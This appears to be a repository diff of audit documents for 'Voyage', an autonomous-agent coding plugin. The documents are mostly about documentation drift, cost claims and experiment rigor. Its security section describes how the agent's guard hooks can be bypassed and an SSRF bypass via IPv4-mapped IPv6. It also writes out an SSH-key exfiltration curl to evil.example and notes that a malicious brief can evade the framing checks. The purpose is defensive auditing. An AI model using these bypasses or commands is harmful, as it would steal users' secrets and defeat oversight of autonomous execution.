{ title: 'Rebut', detail: 'steelman the defense; verdict STANDS / WEAKENED / REFUTED' },
{ title: 'Synthesize', detail: 'prioritize survivors + completeness critic' },
],
}
const DIMENSIONS = [ /* D1..D6, each {key, prompt} from the section above */ ]
const audited = await pipeline(
DIMENSIONS,
d => agent(`Devil's advocate on Voyage, dimension "${d.key}". ${d.prompt} Read the real code/docs, cite file:line, build the STRONGEST case AGAINST. No vibes.`,
{ label:`attack:${d.key}`, phase:'Attack', schema: FINDING_SCHEMA, effort:'high' }),
(finding, d) => agent(`Steelman the DEFENSE against this critique, then judge each claim FATAL/MAJOR/MINOR and STANDS/WEAKENED/REFUTED under the best rebuttal: ${JSON.stringify(finding)}`,
{ label:`rebut:${d.key}`, phase:'Rebut', schema: VERDICT_SCHEMA, effort:'high' }),
)
const synthesis = await agent(`Synthesize this adversarial audit into a prioritized verdict + a "what this audit might have missed" section. Findings+rebuttals: ${JSON.stringify(audited.filter(Boolean))}`,
{ phase:'Synthesize', schema: SYNTHESIS_SCHEMA, effort:'high' })
return synthesis
```
- **FINDING_SCHEMA:** `{ dimension, findings: [{ claim, severity: FATAL|MAJOR|MINOR, evidence: [file:line], why_it_matters }] }`
- **VERDICT_SCHEMA:** `{ dimension, verdicts: [{ claim, strongest_rebuttal, verdict: STANDS|WEAKENED|REFUTED, residual_severity }] }`
- **SYNTHESIS_SCHEMA:** `{ survivors: [...ranked], refuted: [...], top_changes: [...], audit_blind_spots: [...] }`
## Scale, models, cost
~6 attack + 6 rebut + 1 synthesis ≈ **13 agents**. `effort: high` on attack + synthesis (adversarial reasoning); Opus is the default (inherit session model) — pure-retrieval sub-steps may drop to `sonnet`. **Before launching, announce the plan + rough agent count** so the operator sees the scope (Workflows are token-heavy).
## Success criteria (verifiseringsplikt)
1. `docs/devils-advocate-results.md` written, with **≥1 finding per dimension**, each carrying `file:line` evidence and an explicit **STANDS / WEAKENED / REFUTED** verdict after the rebuttal pass.
2. A synthesis that names which critiques are **REAL** (worth acting on, prioritized by severity × actionability) vs. **survived-as-fine**.
3. A **"what this audit might have missed"** section (completeness critic).
4. No finding asserted without evidence; rebuttals are genuine defenses, not strawmen.
5. The audit critiques *this very plan* too (the dimensions may be wrong/incomplete — say so).
## Scope guard
This is an **audit that produces findings + recommendations**, NOT an implementation session. Do **not** start changing Voyage based on the results without a fresh operator go-ahead. Stop at the results doc + a short summary.

View file

@ -1,178 +0,0 @@
# Devil's-advocate results — adversarial cold audit of Voyage
**Run:** S14, 2026-06-18. **Method:** Dynamic Workflow (`Workflow` tool), 13 agents @ `effort: high`, Opus 4.8.
**Shape:** 6 adversarial dimensions (D1–D6), each `attack` (strongest case AGAINST) → `rebut` (steelman defense → STANDS/WEAKENED/REFUTED) → 1 synthesis. ~905k subagent tokens, 9.3 min.
**Plan:** `docs/devils-advocate-plan.md`. **Scope:** audit only — findings + recommendations, NOT an implementation session. Run ID `wf_4af87c2f-d4e`.
> **Read this caveat first.** This is a *cold, hostile* audit that was instructed to prove Voyage is over-engineered/wrong/unmaintainable, then to rebut itself honestly. Verdicts are the rebuttal pass's, not gospel. The audit caught a factual error in one of its OWN findings during rebuttal (D5 "0 refs" → REFUTED), which is a reminder that some cited `file:line` counts from the attack agents may be imprecise. I (main context) **independently re-verified** the load-bearing MAJOR claims — see the **Verification log** at the bottom. Everything else is reported as the audit found it.
---
## Bottom line (overall verdict)
**Voyage survives as a functioning, disciplined, but over-documented and under-measured plugin.** It is not fraudulent or broken. But its self-description is materially inaccurate, and its flagship value proposition is unproven where it was actually tested. The strongest honest charges are concentrated and cheaply fixable:
1. The README sells "cheap Sonnet swarms" while **every one of the 24 agents ships as Opus** — on a section marketed as "observable in the code, not aspirations."
2. The headline counts are **stale by up to 6×** (109 vs 683 tests, 23 vs 24 agents, 5 vs 7 hooks) and unguarded by the doc-consistency test that exists to prevent exactly this.
3. The **NW2 "POSITIVE" verdict** rests on a single un-archived bake-off whose raw per-run data was never committed and whose *primary* fidelity metric actually failed and was re-derived post-hoc.
4. The **brief PUBLIC-CONTRACT framing defense is bypassable** by writing a smaller version number (`brief_version: 2.1`).
Against that, the plugin shows genuine engineering hygiene the attack under-credited: the dormant synthesis-agent is a clean *measured-and-declined prune-in-place* (the opposite of accretion); the EVALUATE-parked topology decisions are honestly staged, not frozen on a dead premise; the auto-mode classifier risk was *discovered-and-priced*, not ignored; and the framing BLOCKER **does** hard-fail even in soft mode.
**The deepest problem is not over-engineering — it is an unaudited scoreboard.** A plugin whose entire pitch is contract-conformance and filesystem-validated rigor cannot keep its own test count, agent count, model claims, and version references straight — and, tellingly, its author did not dogfood it on its own upgrade. **Ship-worthy machine; the docs need a truth-pass and the central context-engineering claim needs either a real measurement or a humbler sentence.** Crucially, the audit never tested whether the happy path produces *good plans* — the question that matters most remains open (see Blind spots).
---
## Survivors — ranked by severity × actionability
Critiques that **STAND** or are **WEAKENED-but-real** after the rebuttal pass. (Severity = residual after best defense.)
### MAJOR × HIGH actionability — fix first
| # | Finding | Dim | Verdict | Evidence (verified ✓) |
|---|---------|-----|---------|----------|
| 1 | **Cost claim is false by default.** README sells "Sonnet runs exploration/review swarms / front-loads cheap Sonnet work" in 6 places, but all 24 agents hardcode `model: opus` and `trekplan.md` concedes sub-agents are "still pinned to opus." Sold under "observable in the code — not aspirations." | D6/D1 | STANDS | README.md:195,223,266,785,804,857; all 24 `agents/*.md` `model: opus` ✓; trekplan.md:922,968 |
| 2 | **README hard counts stale & unguarded.** Architecture block: 23 agents (actual **24**), 5 hooks (actual **7** scripts / 6 events), **109** node:test cases (actual **683**, a 6× miss on the line that pitches "npm test is the fork-readiness gate"). | D6 | WEAKENED | README.md:804,807,809 ✓; `npm test` = 683/681/2 ✓ |
| 3 | **Bake-off data never committed.** NW2 "POSITIVE" cites a 6-run token/wall/finding table + jaccard ladder (0.41/0.71/0.86/1.00), but no per-run JSON (`a1.json`..`b3.json`) exists in repo or git history. `bakeoff-fidelity.mjs` requires them as input → the numbers cannot be regenerated, audited, or falsified. | D2 | STANDS | scripts/bakeoff-fidelity.mjs:17-19,98-101; docs/T2-bakeoff-results.md:131-135; f7c8aa4 stat |
| 4 | **Self-reported test count wrong.** STATE.md:43 + the audit plan claim 697 (695 pass); runner reports **683 (681 pass, 2 skip)**. Same unaudited-self-description class the plugin's conformance discipline exists to catch. | D1/D6 | STANDS | STATE.md:43; `npm test` ✓ |
| 5 | **Three reference-only orchestrator agents ship with an `Agent` tool grant** while their bodies declare "reference, not a runnable sub-agent" and no command invokes them. A harness could dispatch an agent the plugin says must never run. Trivial, untaken fix. | D4 | STANDS | agents/{planning,research,review}-orchestrator.md; review-orchestrator.md:226-227; trekreview.md:33 |
| 6 | **`plan-critic` "9 dimensions" wrong in 3 places** (README.md:223,266; CLAUDE.md:46) — agent defines **10** numbered dimensions, the 10th a hard gate (manifest quality). Unpinned. | D6 | STANDS | agents/plan-critic.md:170 |
| 7 | **README self-contradicts brief-reviewer dimension count:** README.md:158 says "five dimensions" while README.md:15 headlines the **6th** (memory alignment) as the v5.5 flagship; agent + CLAUDE.md say six. Exactly the consistency defect brief-reviewer exists to flag. | D6 | STANDS | README.md:15,158; agents/brief-reviewer.md:39,155; CLAUDE.md:42 |
| 8 | **Stale model string in a live contract:** trekplan Phase 8 inline-sealing rationale cites "Opus 4.7" while the plugin elsewhere states opus = Opus 4.8. Sealing logic is sound; only the parenthetical is wrong. | D4 | STANDS | trekplan.md:574; CLAUDE.md:56 |
| 9 | **PUBLIC-CONTRACT versioning cites a non-existent release:** HANDOVER-CONTRACTS.md:46,99 + CLAUDE.md:9 say "v5.4 froze the brief_version 2.1 baseline," but v5.2–5.4 were never shipped (CHANGELOG jumps 5.5.0→5.1.1). No consumer stranded (compat keys off `brief_version`), but a doc trading on contractual precision cites a release nobody can install. | D2 | WEAKENED | CHANGELOG.md:7-9,63; HANDOVER-CONTRACTS.md:46,99; CLAUDE.md:9 |
### MAJOR × MEDIUM/LOW — structural, need design not just edits
| # | Finding | Dim | Verdict | Evidence |
|---|---------|-----|---------|----------|
| 10 | **Framing enforcement is producer-elective.** All three `brief_version 2.2` framing layers are wrapped in `atLeast22`; there is **no** minimum-version gate (grep confirms); 2.0/2.1 briefs are blessed as fully valid. Any producer ships an intent-misaligned brief by declaring `2.1` and the entire framing defense evaporates with no warning. The contract advertises producer-agnostic enforcement but enforces only against the one producer (`/trekbrief`) that hardcodes 2.2. | D3 | STANDS | brief-validator.mjs:123-140; HANDOVER-CONTRACTS.md:101 |
| 11 | **Memory-alignment gate is a no-op by default.** Score-5-on-no-context is indistinguishable to the Phase-4e gate from score-5-on-verified-alignment; whether memory is gathered is an unbacked LLM-judgment step with no validator backstop. In the common (memory-less / external-producer) case the gate always passes. Defensible as *portability* (fail-open), but a passing score is not evidence of alignment. | D3/D1 | WEAKENED | brief-reviewer.md:168-169; trekbrief.md:492-497,541-544 |
| 12 | **Layer 1 framing value is self-attested, enum-validated only.** No cross-check against reality; its triangulation partner (Layer 2 memory) is inert in the no-memory case → framing is an unchecked assertion carried as pipeline source-of-truth. The "no default / unskippable" design blunts the tired-one-click vector but doesn't make the self-label true. | D3 | WEAKENED | trekbrief.md:114-130; brief-validator.mjs:110-116 |
| 13 | **NW2 "POSITIVE" = +4.4% tokens, +54% wall-time, and the one cited upside ("frees main context") never measured.** The bake-off captured subagent tokens (the axis a coordinator-adding Workflow can only tie-or-lose); Δ main-context (the decision-relevant quantity) was left unmeasured. The +15% POSITIVE bar **was** pre-registered (so not goalpost-moved), but the win rests on unquantified benefit. | D1/D2 | WEAKENED | T2-bakeoff-results.md:152-170 |
| 14 | **NW2 fidelity verdict salvaged post-hoc.** Pre-registered PRIMARY metric (triplet-level finding-set equivalence) scored **0/9** strict-equivalent, 0.41 jaccard; POSITIVE reached by reporting the looser (file,rule_key)=0.71, labeling the 0/9 a "metric-calibration artifact," then recommending future metrics use the coarser granularity that cleared. Within-arm control makes "artifact" plausible, but it was decided after seeing the result. | D2 | WEAKENED | T2-bakeoff-results.md:131-135,172-185; T2-cc27-workflow-substrate.md:170 |
| 15 | **Context-Engineering flagship unproven where tested.** The one experiment (NW3) measured Δ main-context ≈ 0 and shipped dormant. The Δ=0 is real but narrowly scoped to delegating only the Phase-7 read; the actual fan-out relief — the claim that matters — was never measured. The swarm topology's central justification has no positive measurement behind it, only a structural argument + a declined experiment. | D1 | WEAKENED | T1-synthesis-poc-results.md:16-30,88-103 |
| 16 | **Voyage was not used to build Voyage.** Much of the v5.5 arc was research/meta-work the pipeline doesn't target (blunts it), but genuinely pipeline-shaped code sub-tasks (armB script, synthesis schema, fidelity libs) were also hand-orchestrated. Revealed-preference signal for those is real. | D1 | WEAKENED | devils-advocate-plan.md:8; W1/T1/T2 docs |
### MINOR — cheap correctness / leanness nits
| # | Finding | Dim | Verdict | Evidence |
|---|---------|-----|---------|----------|
| 17 | **Prose-pin bloat.** `doc-consistency.test.mjs` (67 tests, ~9.5% of suite) is predominantly `.includes/.match` on free prose, churned across 26 commits, flips red on benign rewording. The structural sub-tests (row-count == file-count, command coverage) are genuine; the headline test-count over-credits coverage. | D5/D1 | WEAKENED | tests/lib/doc-consistency.test.mjs:1-6 |
| 18 | **Chartered auto/bypass classifier check skipped.** "Classifier interference: 0" was reported satisfied, but the auto/bypass-mode re-run that W1 made an explicit guard was skipped on a technicality ("mode not settable in-session") and footnoted rather than gating. The mode that matters for headless trekreview remains untested. | D2 | STANDS | T2-bakeoff-results.md:146-149; W1-narrow-wins-plan.md:29-32 |
| 19 | **NW3 decline dressed in pseudo-quant scaffolding.** The faithful Δ≈0 is genuinely *structural* (holds with no tokenizer), but it is surrounded by a sweep table + break-even + a "15% adopt-floor" that contradicts the plan's 30% bar, over a chars/4 estimate with a swept (never API-measured) BASE. Conclusion sound, scaffolding inconsistent. | D2 | WEAKENED | synthesis-measure.mjs:41-42; T1-synthesis-poc-results.md:12-14,94; W1-narrow-wins-plan.md:17 |
| 20 | **Experiment scaffolding outlived its experiment.** 5 of 7 `scripts/` (~89KB, incl. `synthesis-measure.mjs` for the declined agent) are one-off PoC/measurement code on no command path, each referenced only by its own test, carrying 27 live tests. Partly defensible as reproducibility artifacts; the global continuity convention says such history belongs in git. | D5 | WEAKENED | scripts/synthesis-measure.mjs:2-3; tests/scripts/synthesis-measure.test.mjs |
| 21 | **CHANGELOG cross-doc wart.** CHANGELOG.md:440 advertises "711 pass … +5 Playwright e2e" while README.md:595 documents Playwright e2e as removed in v5.0.0. (The "no number matches reality" framing was refuted — historical snapshots legitimately diverge from HEAD.) | D6 | WEAKENED | CHANGELOG.md:440; README.md:595 |
---
## REFUTED — critiques that did NOT survive the rebuttal
These are recorded so they are not re-litigated. Each was a plausible attack that the defense (and, where noted, my own check) genuinely defeated.
1. **"8 of 14 docs are dead scratch; the decision-matrix has 0 inbound refs" (D5).** *False on its lead exhibit.* `cc-upgrade-2.1.181-decision-matrix.md` has **9** inbound refs incl. three production command files (trekplan, trekbrief, trekresearch) + three orchestrator agents + CHANGELOG — the *most*-referenced of the eight. Only `devils-advocate-plan.md` (the just-created S14 plan) cleanly matches "0 inbound." A much smaller "a couple of decision docs could move to git" survives at MINOR.
2. **"Orchestrator descriptions assert the FALSE premise as STANDING rationale" (D4).** The descriptions frame it as *discharged history* in the same sentence-group ("Historically… As of CC 2.1.172 sub-agents CAN spawn…, so a redesign is under evaluation") — exactly what CC-01 prescribed (replace with truth + forward pointer). A dispatching model is steered *away* from spawning, not toward the falsehood. The duplication is a real but MINOR doc-style critique (→ became survivor #5's narrower form).
3. **"The dormant synthesis-agent is ceremony spent on sand" (D1/D5).** It is the strongest *counter*-example: built → measured (Δ≈0) → found NEGATIVE → deliberately not wired, with a stated re-activation trigger and a schema-backed, tested contract. Disciplined negative-result hygiene. The residual (it still ships in the distributable, inflating counts) is a MINOR leanness nit.
4. **"The auto-mode classifier is a NEW liability the plugin is trading into" (D4).** Inverts the evidence: the plugin *discovered and logged* the risk via a cheap probe in a path it has **not** adopted, priced it as a cost against delegation, and declined the trade. Verification discipline, not a hidden liability.
5. **"Soft-mode read means framing/TL;DR add no enforcement at the boundary" (D3).** Refuted *for framing specifically*: `BRIEF_MISSING_FRAMING` is pushed **unconditionally** to `errors[]` (no strict/soft branch), and soft mode means "warnings don't block, errors DO" — so a 2.2 brief missing framing hard-fails even in soft read. (The broader "external 2.0/2.1 producer gets nothing" point survives as survivor #10.)
6. **"No published test count matches reality" (D6/D2).** Half-refuted: a CHANGELOG is an append-only point-in-time log; historical snapshots (503/516/518/608/711) *correctly* diverge from current 683. The genuine residual is the narrow Playwright cross-doc contradiction (→ #21).
7. **"NW2's +15% bar was set AFTER the run to make a tie pass" (D2).** The +15%/+30% thresholds were pre-registered before the run, which predicted token cost "≈ wash." Not a moved goalpost. What survives is the distinct, separately-filed point that the cited upside was never *quantified* (→ #13).
---
## Top changes — prioritized
1. **FIX THE COST CLAIM** (MAJOR × HIGH). Either flip exploration/review agent frontmatter to `model: sonnet` (makes the README true by default — the cheaper fix a cost-conscious user expects) **or** rewrite the 6 README claims to state Opus-by-default and Sonnet requires `--profile economy` / `phase_signals.model`. Add a doc-consistency pin that fails if README says "Sonnet exploration" while agent files say opus.
2. **FIX THE HARD COUNTS** (MAJOR × HIGH). README → 24 agents / 7 hooks / 683 tests; correct STATE.md 697→683 and the plan's 697. Add doc-consistency pins for agent-count, hook-script-count, and a tolerance-banded or dynamically-computed test-count so the Architecture block cannot silently drift.
3. **COMMIT OR DOWNGRADE THE BAKE-OFF DATA** (MAJOR × HIGH). Commit the raw arm outputs (`a1.json`..`b3.json`) under `tests/fixtures/bakeoff-rich/runs/` + a test that re-derives the medians/jaccards — or relabel "POSITIVE" to "defensible as opt-in, single un-archived run."
4. **ADD A MIN-VERSION GATE OR DOCUMENT THE HOLE** (MAJOR × MEDIUM). Optional `--min-brief-version` at the `/trekplan` + `/trekresearch` boundary (warn when an older brief sidesteps framing); document in HANDOVER-CONTRACTS.md that pre-2.2 briefs receive zero framing enforcement.
5. **MAKE THE MEMORY GATE HONEST** (MAJOR × MEDIUM). Emit a `memory_alignment.status` distinguishing "N/A (no memory)" from "verified aligned"; document that in memory-less environments the wrong-premise defense is Layer 1 + Layer 3 only.
6. **STOP OVERSELLING THE FLAGSHIP** (MAJOR × MEDIUM). Either measure the fan-out's real main-context relief with a tokenizer/API run, or soften README/CLAUDE.md to "asserted, not yet measured." Relabel NW2 from POSITIVE to opt-in-defensible and disclose its primary fidelity metric failed and was re-derived post-hoc.
7. **CHEAP CORRECTNESS NITS** (MINOR × HIGH). Drop the `Agent` grant from the three reference-only orchestrator agents; `plan-critic` 9→10 dimensions; README brief-reviewer 5→6 dimensions; trekplan "Opus 4.7"→"4.8"; replace the non-existent "v5.4" contract-freeze references with "v5.5.0."
8. **PRUNE PROSE-PIN BLOAT** (MINOR × MEDIUM). Keep the structural cross-file invariant tests; prune pure phrase-pins that break on reword; report behavior-test count separately from prose-pin count.
9. **RUN THE CHARTERED AUTO/BYPASS CLASSIFIER CHECK** (MINOR × MEDIUM) before treating classifier interference as retired — or move it from "metric satisfied" to "open residual."
---
## What this audit might have missed (completeness critic)
The audit was instructed to critique its own plan. It did:
1. **The 6 dimensions are introspection-biased.** D1/D2/D4 all interrogate the v5.5 self-measurement arc (synthesis, bake-off, decision matrix) and **overlap massively** — three dimensions largely re-attack the same NW2/NW3/CC-26/27 docs. This over-weights recent meta-work and **under-weights the product surface a user actually touches.** There is no dimension auditing whether the **core happy path** (`/trekbrief → /trekplan → /trekexecute` on a real feature) produces correct, useful plans/code. *The audit proved the docs are inconsistent and the experiments were narrow — but never tested whether the pipeline WORKS end-to-end. That is the question a prospective user cares about most, and it remains open.*
2. **No security / safety dimension.** This plugin spawns autonomous agents, has `--gates` autonomy primitives, OTLP export with stated SSRF mitigation, and hooks that gate Bash/Write. None was audited for actual safety (does the SSRF mitigation work? do the pre-bash/pre-write hooks actually block? can a malicious brief drive headless execution?). For an autonomous-execution plugin, the **highest-consequence blind spot.**
3. **No empirical cost measurement.** The entire cost debate (D1/D6) was argued from frontmatter strings and README prose, never from the `trek*-stats.jsonl` the plugin itself publishes. The single most decision-relevant number (what one `/trekplan` run actually costs on Opus vs Sonnet) was never pulled from real run data — so the cost critiques remain *inferential*.
4. **The audit accepted the plugin's own metrics** (Δ main-context, jaccard, verdict-match) as the terms of debate, then critiqued within them. It never asked: are these the right metrics at all? **Plan quality** (does the adversarial review catch real bugs?) was never measured by anyone — the whole value proposition is *assumed* by both attack and defense.
5. **Trust in unverified citations.** Refuted/weakened verdicts were taken largely on trust where the agents couldn't independently re-verify every line. The D5 "0 refs" error that was caught suggests other cited counts may also be imprecise. (Main context independently re-verified the load-bearing MAJORs — see below — but not all ~1672 lines of trekexecute or every cited doc line.)
6. **No user-facing ergonomics / onboarding dimension.** 7 commands, 24 agents, 14 docs, a profile system, `--gates`, brief_version axes — the cognitive load on a new operator is itself a product risk that revealed-preference (the author used bespoke docs) hints at, but the plan never made first-class.
7. **The audit conflates "documentation defect" with "product defect" throughout.** Most MAJOR survivors are doc-accuracy issues — real and cheap to fix, but the plan never separated "the docs lie" from "the machine is broken," leaving the genuinely important question (is the runtime sound?) unanswered.
---
## Verification log (Verifiseringsplikt)
**Independently re-verified by main context this session (not taken on the agents' word):**
| Claim | Method | Result |
|-------|--------|--------|
| Test count is 683/681/2, not 697/695/2 | `npm test` (full run) | ✓ **683 tests, 681 pass, 0 fail, 2 skipped** — STATE.md:43 + plan are wrong |
| All exploration/review agents are Opus, none Sonnet | `grep -h "^model:" agents/*.md \| sort \| uniq -c` | ✓ **24 `model: opus`, 0 `sonnet`** |
| Agent file count is 24 (README says 23) | `ls agents/*.md \| wc -l` | ✓ **24** |
| README sells "Sonnet" exploration/review | `grep -n Sonnet README.md` | ✓ lines **195, 223, 266, 785, 857** + 804 "(sonnet for exploration + review…)" |
| README hard counts stale | `grep -nE "specialized agents\|node:test\|hooks" README.md` | ✓ **804** "23 specialized agents", **807** "5 hooks", **809** "109 node:test cases" |
**Taken from the workflow agents, spot-checked but NOT exhaustively re-read by main context:** the internal `file:line` citations in `docs/T2-bakeoff-results.md`, `docs/T1-*`, `lib/validators/brief-validator.mjs` (the `atLeast22` guard + unconditional `BRIEF_MISSING_FRAMING`), `agents/brief-reviewer.md`, `commands/trekbrief.md`, and the absence of `a1.json`..`b3.json` in git history. These are reported as the audit found them; they are consistent with the verified anchors above but were not each independently confirmed line-by-line.
**Known imprecision:** the attack agent for D5 asserted `cc-upgrade-2.1.181-decision-matrix.md` has "0 durable refs"; the rebuttal pass found **9** and REFUTED it. Treat raw counts inside individual attack findings with that caution.
---
## Scope note
This is an **audit** — findings + recommendations only. Per the plan's scope guard and the operator's run mode, **no Voyage code or docs were changed** on the basis of these results (the one exception: STATE.md's stale `697` test count is corrected at session end, since STATE is continuity state, not plugin surface, and propagating a now-verified-wrong number would be its own defect). Acting on the top changes above requires a fresh operator go-ahead.
---
## Addendum — post-audit verification of finding #1 (2026-06-18, operator-prompted)
The operator challenged finding #1 ("README sells cheap Sonnet but agents are opus"), correctly recalling that Voyage has a **per-phase model-selection system** (profiles + `phase_signals.model`). Main context verified the actual model-resolution path against the code. Result: **the operator's recollection is right, the finding still STANDS, and verification surfaced a NEW defect the audit missed.**
1. **The per-phase system is real.** `lib/profiles/resolver.mjs#resolveProfile()` + `phase-signal-resolver.mjs` resolve a model per *phase* (= command). At Agent-spawn sites, the resolved phase model is used if set; otherwise the agent's `model: opus` frontmatter (trekplan.md "Cost" hard rule). The model is **uniform per phase** (orchestrator + swarm share it) — there is **no** mechanism to run the orchestrator on opus and the swarm on sonnet within one phase, so the README cost-prose's "Opus orchestrates / Sonnet runs the swarms" split is **not an achievable configuration**, independent of the count defect.
2. **No default profile makes exploration/review Sonnet.** `balanced` and `premium` both set `plan → opus` and `review → opus` (verified: `lib/profiles/balanced.yaml`, `premium.yaml`). Only opt-in `economy` sets `plan/review → sonnet`. So under every *default*-candidate profile the exploration AND review swarms run on **Opus**. README's unconditional "6–8 Sonnet exploration agents" / "Sonnet runs the exploration and review swarms" (195/223/266/785/857) is false for every default. **Finding #1 STANDS and is reinforced.**
3. **NEW defect (audit missed it): code default profile ≠ documented default.** `resolveProfile()` returns `{ profile: 'premium', profile_source: 'default' }` (resolver.mjs:156; docstring: "Order: --profile flag > VOYAGE_PROFILE env > 'premium'"). But README.md:759 ("`balanced` (default)") + the lookup-order list + `docs/profiles.md:15,18,121` ("`balanced` is the v4.1 default", "the default tier is locked") all say the default is **`balanced`**. **Code says premium; all docs say balanced** — a real code-vs-docs contradiction with cost/behavior impact (premium runs brief+execute on opus and turns external research ON; balanced does not), unguarded by `doc-consistency.test.mjs`. Severity: **MAJOR**. Most likely resolution: docs reflect design intent (balanced), so the code default is the bug — but confirm against git history before fixing.
**Corrected fix for finding #1 (supersedes "flip vs rewrite"):** (a) resolve the default-profile mismatch so code + README + `docs/profiles.md` agree on one default (likely `balanced`); (b) rewrite the README cost narrative to describe the *actual* per-phase-profile mechanism (default runs plan/review on Opus; `economy` runs all-Sonnet; no orchestrator-vs-swarm split); (c) add doc-consistency pins for the default-profile name and the per-phase model claims. This keeps Opus-as-default and does **not** require flipping any agent frontmatter.
---
## S21 resolution — Blind spot #2 (security/safety) audit (2026-06-19, operator-gated)
Blind spot #2 ("no security / safety dimension") was the audit's self-named highest-consequence gap. Operator scope for this session was **security-core**: fix genuine defects, honestly record the rest. The four sub-questions and their dispositions:
| # | Question | Verdict | Disposition |
|---|----------|---------|-------------|
| 1 | **Does the SSRF mitigation work?** | ⚠️ one real, bounded bug | Literal-encoding bypasses I first suspected (decimal `2130706433`, hex `0x7f000001`, octal, trailing-dot `127.0.0.1.`) are **already caught** — the WHATWG `URL` parser canonicalizes them to dotted-decimal before `validateOtlpEndpoint` classifies. The genuine gap: **IPv4-mapped IPv6 literals** (`::ffff:127.0.0.1`, `::ffff:192.168.x`, `::ffff:169.254.169.254`) render as `::ffff:HHHH:HHHH` and were matched by neither the loopback set, the RFC-1918 regex, link-local, nor `HARD_BLOCKED_HOSTS` → they passed over https and would reach loopback / private / **cloud-metadata**. The control's own comment promised to "PERMANENTLY block" metadata; the mapped form defeated it. **FIXED** (see below). |
| 2 | **Do pre-bash / pre-write hooks actually block?** | ✅ yes, for their target patterns | `bash-guard` + `path-guard` tests confirm every BLOCK rule fires. **Verified residuals (by design — advisory rails, `fail-open`, defense-in-depth, NOT a security boundary):** (a) `pre-write-executor` is wired to `matcher: "Write"` only — `Edit` / `NotebookEdit` and `echo >> ~/.zshrc` via Bash bypass it (Edit can only modify pre-existing sensitive files, not create them; Bash-redirect is the larger hole); (b) `pre-bash-executor` regexes have completeness gaps (e.g. `rm -rf --no-preserve-root /` slips the `rm`-pattern). Not fixed: closing every regex/tool gap is an unbounded rabbit hole, and CC's own per-Bash permission prompt is the primary gate; these hooks are the second layer. |
| 3 | **Can a malicious brief drive headless execution to harm?** | ✅ catastrophe-blocked, exfil NOT blocked | The hooks stop catastrophic *local destruction* (`rm -rf /`, `mkfs`, fork bombs, raw-device writes). They do **not** prevent *data exfiltration* — `curl --data @~/.ssh/id_rsa https://evil.example` is not a blocked pattern. This requires the operator to accept a malicious brief **and** run it headless (no human gate). Documented as an inherent limit: a regex-hook layer cannot fully sandbox an autonomous executor. No code change. |
| 4 | **Chartered auto/bypass classifier check (Survivor #18)** | 📝 honest-residual recorded | The W1 charter made an `auto`/`bypass`-mode re-run an explicit guard (trekreview runs headless under those modes); the T2 bake-off skipped it on a true technicality (permission mode is operator-set, not settable in-session) and footnoted rather than gating. Per recommendation #9, **moved from "metric satisfied" → "open residual"** in `T2-bakeoff-results.md §3` (guarded by a new `doc-consistency` pin). Not runnable from this interactive session; stays open until measured from a genuinely headless run. |
**Code fix (finding #1).** `lib/exporters/endpoint-validator.mjs`: added `mappedV4(host)` — after IPv6 bracket-strip, an IPv4-mapped literal (`::ffff:a.b.c.d` dotted **or** `::ffff:HHHH:HHHH` hex-pair) is decoded to its embedded dotted-decimal IPv4, and every guard (loopback / RFC-1918 / link-local / `HARD_BLOCKED`) classifies on **that**. TDD: 4 new tests in `tests/hooks/otel-export-validators.test.mjs` (failing-first) — mapped loopback → `LOOPBACK_REJECTED`, mapped RFC-1918 → `RFC1918_REJECTED`, mapped metadata → `HARD_BLOCKED` (even with `VOYAGE_OTEL_ALLOW_PRIVATE=1`), and mapped **public** `::ffff:8.8.8.8` still valid over https (no over-block). Threat model remains narrow (endpoint is operator-set via `VOYAGE_OTEL_ENDPOINT`; export is opt-in via `VOYAGE_EXPORT_MODE`, default `off`; a brief cannot set env) — the fix closes a control under-delivering its documented contract, not a brief-reachable hole.
**Forward-pointer (FLAGGED, NOT done — adjacent doc/code defect found while auditing the autonomy surface; this is S21b, not S21 security-core):** `operations.md:15` claims `autonomy-gate.mjs` runs the state machine `idle → approved → executing → merge-pending → main-merged`; the actual code states are `idle → gates_on/auto_running → paused_for_gate → completed`, and the `--gates {open|closed|adaptive}` table doesn't match the boolean (`--gates true|false`) the CLI shim and command docs use. Recommend a truth-pass + anti-false-claim pin in a follow-up session.
---
## S22 resolution — Blind spot #1 + #4 (happy-path plan quality + review efficacy) (2026-06-19, operator-gated)
Blind spots #1 ("the audit never tested whether the happy path produces *good plans*") and #4 ("plan quality — does the adversarial review catch real bugs? — never measured by anyone") were the audit's self-named highest-value open questions. S22 measured them by **dogfooding `/trekplan → /trekexecute`** on a real, small Voyage feature (`voyage-doctor`, a project-coherence validator) against a **pre-registered ground-truth scorecard committed before the run**. Full record + verification log: **`docs/S22-happy-path-dogfood.md`**.
**Verdicts.** Q1 (plan quality): the happy path produces a high-quality, executable plan — execute succeeded (15/15 new tests, full suite green, CLI works) — **but not a self-sufficient one**: plan-critic scored it C (71) vs the planner's self-score B+ (88), and 3 majors had to be fixed before a clean execute. Q4 (review efficacy): **demonstrated — the adversarial review caught 3 real majors the Opus-4.8 planner + 7-agent swarm genuinely missed** (an underspecified `research/`-dir path, an untested top-risk, a name contradiction), none planted, **none in the pre-registered oracle** — the defects lived in plan→execute handoff fidelity, which neither planner nor pre-registrar anticipated. scope-guardian returned ALIGNED (all SC/NG verified).
**Honest caveats (do not over-claim):** (1) **n = 1**, one small feature in a domain the planner knew well; (2) the pre-registration was committed *into the explored repo*, so the Phase-5 swarm **read the oracle** (R1–R7 leaked) — robustly caveated, and the Q4 finding survives because the caught defects were *outside* R1–R7; (3) **no token/$ measurement** (Blind spot #3 still open); (4) the `voyage-doctor` code worked but was **discarded per scope** (deliverable = measurement).
**Pipeline defects the dogfood surfaced (NEW — the S14 audit never ran the pipeline):**
1. **MAJOR — `/trekplan` Phase 9 dedup is broken as documented.** plan-critic + scope-guardian are told to "write JSON to `/tmp/…out.json`" for `plan-review-dedup.mjs`, but both agents' frontmatter grants only `Read/Glob/Grep` — no `Write` — so the files are never created and the dedup step cannot run. Fix: grant the reviewers `Write`, or have the orchestrator persist their returned JSON before the dedup call.
2. MINOR — plan template emits `plan_version` as prose; `plan-validator` warns `PLAN_NO_VERSION` (template/validator mismatch).
3. NOTE — installed-plugin/repo version skew (cache v5.1.1 vs repo v5.5.0); dogfooding the installed plugin doesn't test the dev tree.
These are **recorded, not fixed** (S22 scope was measurement; each is its own task under the one-task-per-session run-mode). Decision-matrix-style dispositions are **not** test-pinned.

View file

@ -1,104 +0,0 @@
# Eval corpus — frozen failures for Voyage's own agents
This directory is the home for the **golden / frozen-failure corpus** that
grounds Voyage's self-evaluation (SKAL-1·4a, the eval-foundation tier). It
follows the Anthropic "collect 20–50 real cases" practice: every time a Voyage
review/coordinator agent **misfires** on a real task, the case is distilled into
